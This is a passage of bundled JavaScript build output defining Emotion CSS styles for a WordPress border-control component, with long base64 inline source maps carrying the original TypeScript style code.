ciB8fCBmYWxsYmFja0NvbG9yIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgY29sb3JJbmRpY2F0b3JXcmFwcGVyID0gKFxuXHRib3JkZXI/OiBCb3JkZXIsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRjb25zdCB7IHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRcdGJvcmRlcjogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdCR7IHN0eWxlID8gY29sb3JJbmRpY2F0b3JCb3JkZXIoIGJvcmRlciApIDogdW5kZWZpbmVkIH1cblx0XHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0aGVpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjRweCcgOiAnMjJweCcgfTtcblx0XHRwYWRkaW5nOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMnB4JyA6ICcxcHgnIH07XG5cblx0XHQvKlxuXHRcdCAqIENvbG9ySW5kaWNhdG9yXG5cdFx0ICpcblx0XHQgKiBUaGUgdHJhbnNwYXJlbnQgY29sb3JzIHVzZWQgaGVyZSBlbnN1cmUgdmlzaWJpbGl0eSBvZiB0aGUgaW5kaWNhdG9yXG5cdFx0ICogb3ZlciB0aGUgYWN0aXZlIHN0YXRlIG9mIHRoZSBib3JkZXIgY29udHJvbCBkcm9wZG93bidzIHRvZ2dsZSBidXR0b24uXG5cdFx0ICovXG5cdFx0JiA+IHNwYW4ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5cdFx0XHR3aWR0aDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHQtNDVkZWcsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDQ4JSxcblx0XHRcdFx0cmdiKCAwIDAgMCAvIDIwJSApIDQ4JSxcblx0XHRcdFx0cmdiKCAwIDAgMCAvIDIwJSApIDUyJSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgNTIlXG5cdFx0XHQpO1xuXHRcdH1cblx0YDtcbn07XG5cbi8vIE11c3QgZXF1YWwgJGNvbG9yLXBhbGV0dGUtY2lyY2xlLXNpemUgZnJvbTpcbi8vIEB3b3JkcHJlc3MvY29tcG9uZW50cy9zcmMvY2lyY3VsYXItb3B0aW9uLXBpY2tlci9zdHlsZS5zY3NzXG5jb25zdCBzd2F0Y2hTaXplID0gMjg7XG5jb25zdCBzd2F0Y2hHYXAgPSAxMjtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xQb3BvdmVyQ29udHJvbHMgPSBjc3NgXG5cdHdpZHRoOiAkeyBzd2F0Y2hTaXplICogNiArIHN3YXRjaEdhcCAqIDUgfXB4O1xuXG5cdD4gZGl2OmZpcnN0LW9mLXR5cGUgPiAkeyBTdHlsZWRMYWJlbCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5cblx0JiYgJHsgU3R5bGVkTGFiZWwgfSArIGJ1dHRvbjpub3QoIC5oYXMtdGV4dCApIHtcblx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0cGFkZGluZzogMDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xQb3BvdmVyQ29udGVudCA9IGNzc2BgO1xuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9ySW5kaWNhdG9yID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCByZXNldEJ1dHRvbldyYXBwZXIgPSBjc3NgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7XG5cdG1hcmdpbi10b3A6IDEycHg7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyU2xpZGVyID0gKCkgPT4gY3NzYFxuXHRmbGV4OiAxIDEgNjAlO1xuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IHNwYWNlKCAzICkgfSApKCkgfVxuYDtcbiJdfQ== */");
32791 };
32792 var swatchSize = 28;
32793 var swatchGap = 12;
32794 var borderControlPopoverControls = /* @__PURE__ */ css("width:", swatchSize * 6 + swatchGap * 5, "px;>div:first-of-type>", StyledLabel, "{margin-bottom:0;}&& ", StyledLabel, "+button:not( .has-text ){min-width:24px;padding:0;}" + (false ? "" : ";label:borderControlPopoverControls;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxSStDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32795 var borderControlPopoverContent = /* @__PURE__ */ css(false ? "" : ";label:borderControlPopoverContent;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrSjhDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32796 var borderColorIndicator = /* @__PURE__ */ css(false ? "" : ";label:borderColorIndicator;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtSnVDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9I